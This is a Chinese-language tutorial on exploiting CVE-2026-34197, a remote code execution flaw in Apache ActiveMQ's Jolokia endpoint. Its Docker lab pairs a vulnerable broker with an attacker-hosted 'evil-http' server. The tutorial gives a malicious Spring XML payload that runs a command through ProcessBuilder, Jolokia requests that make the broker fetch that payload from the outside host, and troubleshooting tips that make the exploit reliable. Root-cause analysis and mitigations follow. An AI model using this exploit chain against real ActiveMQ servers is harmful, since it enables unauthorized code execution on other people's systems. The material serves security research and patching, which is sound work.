Apache ActiveMQ CVE-2026-34197 Jolokia 远程代码执行漏洞分析与利用教学文档
1. 漏洞概述
1.1 漏洞描述
Apache ActiveMQ Classic 在其 Web 控制台默认暴露了 Jolokia JMX-HTTP 桥接端点 /api/jolokia/。该端点的默认访问控制策略配置不当,允许攻击者通过 JXM 对 org.apache.activemq:* 范围内的 MBeans 执行任意 exec 操作,其中包括 BrokerService.addNetworkConnector(String) 和 BrokerService.addConnector(String) 方法。
攻击者可利用此缺陷,通过构造一个包含特殊 brokerConfig 参数的 Discovery URI,触发 VM transport 从远程服务器加载恶意的 Spring XML 配置文件。当 Spring 的 ResourceXmlApplicationContext 实例化配置文件中的 singleton beans 时,可执行攻击者预设的任意代码,从而实现远程代码执行。
1.2 受影响版本
- Apache ActiveMQ Broker 版本 < 5.19.4
- Apache ActiveMQ Broker 版本 6.0.0 至 6.2.3
2. 环境搭建
2.1 整体架构
漏洞复现需要搭建两个关键服务角色:
- ActiveMQ 目标服务器:运行存在漏洞版本的 ActiveMQ,并确保其 Jolokia 端口可被访问。
- 恶意 XML 托管服务器:由攻击者控制的服务器,用于托管可触发远程代码执行的恶意 Spring XML 配置文件。
为简化网络环境,建议将两个服务部署在同一 Docker bridge 网络中,使 ActiveMQ 容器能够通过主机名访问到恶意 XML 服务器。
2.2 目录结构
创建如下目录结构以组织漏洞复现所需文件:
activemq-cve-2026-34197/
├── docker-compose.yml # Docker 服务编排文件
├── exploit/ # 恶意利用载荷目录
│ └── evil.xml # 恶意的 Spring XML 配置文件
└── CVE-2026-34197.md # 本教学文档
2.3 Docker 编排配置 (docker-compose.yml)
services:
activemq:
image: apache/activemq:6.2.1
container_name: activemq-vuln
ports:
- "8161:8161" # Web 控制台 + Jolokia
- "61616:61616" # OpenWire
environment:
- ACTIVEMQ_ADMIN_LOGIN=admin
- ACTIVEMQ_ADMIN_PASSWORD=admin
networks:
- activemq-net
evil-http:
image: python:3.9-slim
container_name: evil-http
ports:
- "8888:8000" # 宿主机端口 8888 映射到容器内 8000,便于调试
volumes:
- ./exploit:/usr/share/html # 挂载本地 exploit 目录
command: python -m http.server 8000 --directory /usr/share/html
networks:
- activemq-net
networks:
activemq-net:
driver: bridge
- evil-http 服务:基于 Python 的
http.server模块,在容器内启动一个简易的静态 HTTP 服务器,端口为 8000。它将托管./exploit目录下的文件。 - 网络:两个服务通过名为
activemq-net的 Docker bridge 网络连接,ActiveMQ 容器可通过主机名evil-http访问该服务器。
启动服务:docker compose up -d
2.4 创建恶意 XML 配置文件 (exploit/evil.xml)
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- RCE 载荷,cmd bean 必须放在 broker bean 前面 -->
<bean id="cmd" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/PWNED_SUCCESS</value>
</list>
</constructor-arg>
</bean>
<!-- broker bean 必须存在,且设置 persistent=false 避免 KahaDB 锁阻塞 -->
<bean id="broker" class="org.apache.activemq.xbean.XBeanBrokerService">
<property name="brokerName" value="rcebroker42"/>
<property name="persistent" value="false"/>
</bean>
</beans>
关键配置说明:
- Bean 顺序:
cmdbean 必须声明在brokerbean 之前。Spring 会按照 XML 中声明的顺序实例化 singleton beans。XBeanBrokerService的@PostConstruct回调会启动 broker 服务。如果将brokerbean 放在前面,其启动过程(尤其是未设置persistent=false时)可能会阻塞当前线程,导致后面的cmdbean 永远没有机会被实例化和执行其init-method。 - persistent="false":此属性至关重要。如果不设置,新创建的 broker 会尝试创建 KahaDB 持久化存储并获取锁。如果 ActiveMQ 容器内已存在一个 broker 并持有该锁,新的 broker 会无限等待,导致整个 Spring 上下文初始化被阻塞,
cmdbean 无法执行。设置为false后,broker 使用内存存储,初始化可瞬间完成。 - broker 名称:
rcebroker42必须与后续攻击载荷中 VM transport 的 URI (vm://rcebroker42) 名称保持一致,并且不能与 ActiveMQ 容器内已存在的任何 broker 重名。否则,VMTransportFactory会直接连接到现有 broker 而不会创建新实例,从而不会加载brokerConfig。 - RCE 机制:
cmdbean 利用 Spring 的init-method机制。当 Spring 实例化ProcessBuilder这个 bean 后,会自动调用其init-method属性指定的start()方法,从而执行构造时传入的命令(此处为touch /tmp/PWNED_SUCCESS)。使用ProcessBuilder而非Runtime.exec()的原因是,start()是一个实例方法,符合 Springinit-method的调用要求。
2.5 验证环境可用性
# 1. 验证 ActiveMQ Jolokia 端点可访问
curl -s -u admin:admin http://localhost:8161/api/jolokia/ | python3 -m json.tool | head -5
# 2. 从宿主机验证恶意 XML 服务器可访问(通过端口映射)
curl -s http://localhost:8888/evil.xml
# 3. 从 ActiveMQ 容器内部验证可访问恶意 XML 服务器(通过 Docker 网络)
docker exec activemq-vuln curl -s http://evil-http:8000/evil.xml
确保以上三条命令均能成功返回预期内容。
3. 漏洞复现步骤
3.1 步骤一:通过 Jolokia 添加 Network Connector
向 ActiveMQ 的 Jolokia 端点发送一个 POST 请求,调用 BrokerService MBean 的 addNetworkConnector 方法。
HTTP 请求:
POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/
{
"type": "exec",
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://rcebroker42?brokerConfig=xbean:http://evil-http:8000/evil.xml)"]
}
载荷拆解:
static:(...):使用SimpleDiscoveryAgent,冒号后直接指定要连接的 URI。vm://rcebroker42:使用 VM transport 连接一个名为rcebroker42的 broker。此名称在容器内应不存在,从而触发VMTransportFactory创建新的 broker 实例。brokerConfig=xbean:http://evil-http:8000/evil.xml:关键攻击参数。指示VMTransportFactory在创建新 broker 时,使用 XBean 方式从指定的远程 URL 加载 broker 配置。
注意:Origin 或 Referer 请求头是 Jolokia 默认 CORS 策略所必需的,否则会返回 403 错误。
成功执行后,响应中应包含 "value": "NC",表示 Network Connector 添加成功,其默认名称为 "NC"。
3.2 步骤二:搜索并定位 Network Connector MBean
由于添加 Network Connector 后,需要知道其完整的 JMX ObjectName 才能操作它,因此需要先进行搜索。
HTTP 请求:
POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/
{
"type": "search",
"mbean": "org.apache.activemq:*"
}
从返回的 JSON 结果中,查找与 Network Connector 相关的 MBean,其名称模式通常为 org.apache.activemq:brokerName=localhost,connector=networkConnectors,networkConnectorName=NC,type=Broker。
3.3 步骤三:启动 Network Connector
向步骤二中确定的 Network Connector MBean 发送请求,调用其 start() 方法。
HTTP 请求:
POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/
{
"type": "exec",
"mbean": "org.apache.activemq:brokerName=localhost,connector=networkConnectors,networkConnectorName=NC,type=Broker",
"operation": "start",
"arguments": []
}
此步骤是触发漏洞的关键。start() 方法会触发 Network Connector 尝试建立到 vm://rcebroker42 的连接。由于该 broker 不存在,VMTransportFactory 会创建它,并加载 brokerConfig 参数指定的远程 XML 配置文件,从而执行其中定义的恶意代码。
响应中 "value": null 是正常的,因为 start() 方法没有返回值。
3.4 步骤四:验证远程代码执行结果
检查 ActiveMQ 容器内是否成功创建了文件 /tmp/PWNED_SUCCESS。
docker exec activemq-vuln ls -la /tmp/PWNED_SUCCESS
如果文件存在,则证明远程命令执行成功。
同时,可以查看相关日志确认攻击链:
- ActiveMQ 服务端日志:会显示建立网络连接和加载远程配置的信息。
- 恶意 HTTP 服务器日志:会记录来自 ActiveMQ 容器对
evil.xml文件的 HTTP GET 请求。
4. 关键注意事项与排错
-
必须携带
Origin或Referer请求头:Jolokia 默认配置了严格的 CORS 策略。如果请求中缺少这两个头部之一,会返回403错误,提示Origin null is not allowed to call this agent。 -
Network Connector 名称冲突:
addNetworkConnector方法默认生成的 Network Connector 名称为 "NC"。如果已存在同名的 Network Connector,再次添加会导致500内部服务器错误,提示Network Connector could not be registered in JMX。解决方法是先调用removeNetworkConnector("NC")删除旧的,再添加新的。 -
XML 中
brokerbean 必须设置persistent="false":如果不设置,新 broker 在初始化时会尝试创建 KahaDB 持久化存储。如果 ActiveMQ 容器内已有 broker 实例占用了 KahaDB 锁,新的 broker 会一直等待,导致 Spring 上下文初始化被阻塞,即使cmdbean 声明在前也可能无法执行。 -
XML 中 bean 的声明顺序至关重要:
cmdbean(RCE 载荷)必须放在brokerbean 之前。Spring 按 XML 中的声明顺序实例化 singleton beans。XBeanBrokerService的初始化(@PostConstruct)会启动 broker 服务,如果它先被实例化,其启动过程可能会阻塞线程,导致排在后面的cmdbean 永远没有机会被实例化。 -
broker 名称必须唯一:在攻击载荷中指定的 broker 名称(如
rcebroker42)不能与 ActiveMQ 容器内已存在的任何 broker 重名。否则,VMTransportFactory不会创建新 broker,brokerConfig也不会被加载。
5. 漏洞原理深度分析
5.1 漏洞入口:Jolokia 不当的访问控制策略
默认的 Jolokia 访问策略配置文件位于 assembly/src/release/conf/jolokia-access.xml。其中关键配置如下:
<allow>
<!-- Allow all operations for the broker itself -->
<mbean>
<name>org.apache.activemq:*</name>
<attribute>*</attribute>
<operation>*</operation>
</mbean>
</allow>
虽然默认的 <commands> 只允许 read, list, version, search 操作,但 <allow> 节中对 org.apache.activemq:* 这个 MBean 模式授权了所有操作(*),这覆盖了默认限制,导致攻击者可以通过 Jolokia HTTP API 对 ActiveMQ 的 MBeans 执行任意方法,包括危险的 exec 操作。
5.2 攻击链与核心代码分析
攻击者可控的输入(Jolokia HTTP 请求)最终触发 RCE 的完整调用链如下:
- Jolokia API 调用:攻击者发送 JSON payload 到
/api/jolokia,调用BrokerService.addNetworkConnector(String)方法。 - Network Connector 创建:
BrokerService.addNetworkConnector(String discoveryAddress)方法将字符串参数转换为 URI,并创建DiscoveryNetworkConnector实例。 - 连接触发:当通过 JMX 调用 Network Connector 的
start()方法时,其内部的DiscoveryAgent开始工作。在static发现模式下,会立即触发onServiceAdd(DiscoveryEvent event)回调。 - 传输层连接:在
DiscoveryNetworkConnector.onServiceAdd()方法中,调用TransportFactory.connect(connectUri)尝试建立传输连接。这里的connectUri即攻击者构造的vm://rcebroker42?brokerConfig=xbean:http://...。 - VM Transport 处理:对于
vm://协议,由VMTransportFactory.doCompositeConnect(URI location)方法处理。该方法会解析 URI 参数,并提取brokerConfig的值。 - Broker 创建与配置加载:如果指定的 broker 名称(
rcebroker42)在BrokerRegistry中不存在,VMTransportFactory会调用BrokerFactory.createBroker(brokerURI)来创建新的 broker。这里的brokerURI就是brokerConfig参数的值(xbean:http://...)。 - Spring 上下文加载:
BrokerFactory根据 URI 的 scheme (xbean:) 将创建任务路由给XBeanBrokerFactory.createBroker(URI config)。该方法提取出 URL (http://evil-http:8000/evil.xml),并通过Utils.resourceFromString()将其转换为 Spring 的UrlResource,然后创建ResourceXmlApplicationContext来加载此远程配置。 - 恶意 Bean 实例化:
ResourceXmlApplicationContext在初始化过程中,会实例化配置文件中定义的所有 singleton beans。当实例化id="cmd"的ProcessBuilderbean 时,会执行其init-method属性指定的start()方法,从而触发命令执行。 - Broker 获取:最后,
XBeanBrokerFactory尝试从 Spring 上下文中获取名为"broker"的 bean。此 bean 必须在 XML 中定义,否则会抛出NoSuchBeanDefinitionException,导致整个加载过程中断,RCE 也无法完成。
5.3 关键代码片段说明
VMTransportFactory.doCompositeConnect():在此方法中解析vm://URI 的查询参数,关键代码为String config = options.remove("brokerConfig");。如果config不为空,则将其作为 broker 的配置 URI。XBeanBrokerFactory.createBroker():调用createApplicationContext(uri),其中uri是brokerConfig中去掉xbean:前缀的部分(即远程 XML 的 URL)。该方法内部使用 Spring 的ResourceXmlApplicationContext来加载远程配置。Utils.resourceFromString():此工具方法判断输入字符串是否为合法的 URL(通过ResourceUtils.isUrl(uri)),如果是,则使用new UrlResource(ResourceUtils.getURL(uri))创建一个指向远程资源的UrlResource对象,Spring 可以据此从远程 HTTP 服务器加载 XML 文件。
6. 漏洞修复与缓解建议
根据官方安全公告,此漏洞在以下版本中已修复:
- Apache ActiveMQ Broker 5.19.4 及更高版本
- Apache ActiveMQ Broker 6.2.4 及更高版本
缓解措施:
- 立即升级:将受影响的 ActiveMQ 升级到已修复的安全版本。
- 严格限制 Jolokia 访问:修改
jolokia-access.xml配置文件,删除或严格限制对org.apache.activemq:*MBeans 的exec操作权限。原则上,生产环境不应允许通过 HTTP 接口执行 JMX 操作。 - 网络隔离:确保 ActiveMQ 的管理控制台和 Jolokia 端点(默认端口 8161)不直接暴露在互联网上。应通过 VPN 或堡垒机进行访问。
- 最小权限原则:运行 ActiveMQ 的服务账户应仅具有其运行所必需的最低系统权限,以限制潜在 RCE 造成的影响范围。
7. 参考资料
- Apache ActiveMQ Security Advisory
- NVD - CVE-2026-34197
免责声明:本教学文档仅用于安全研究、漏洞原理学习和授权下的安全测试。请勿将其中描述的技术用于任何非法目的。使用者需自行承担相关责任。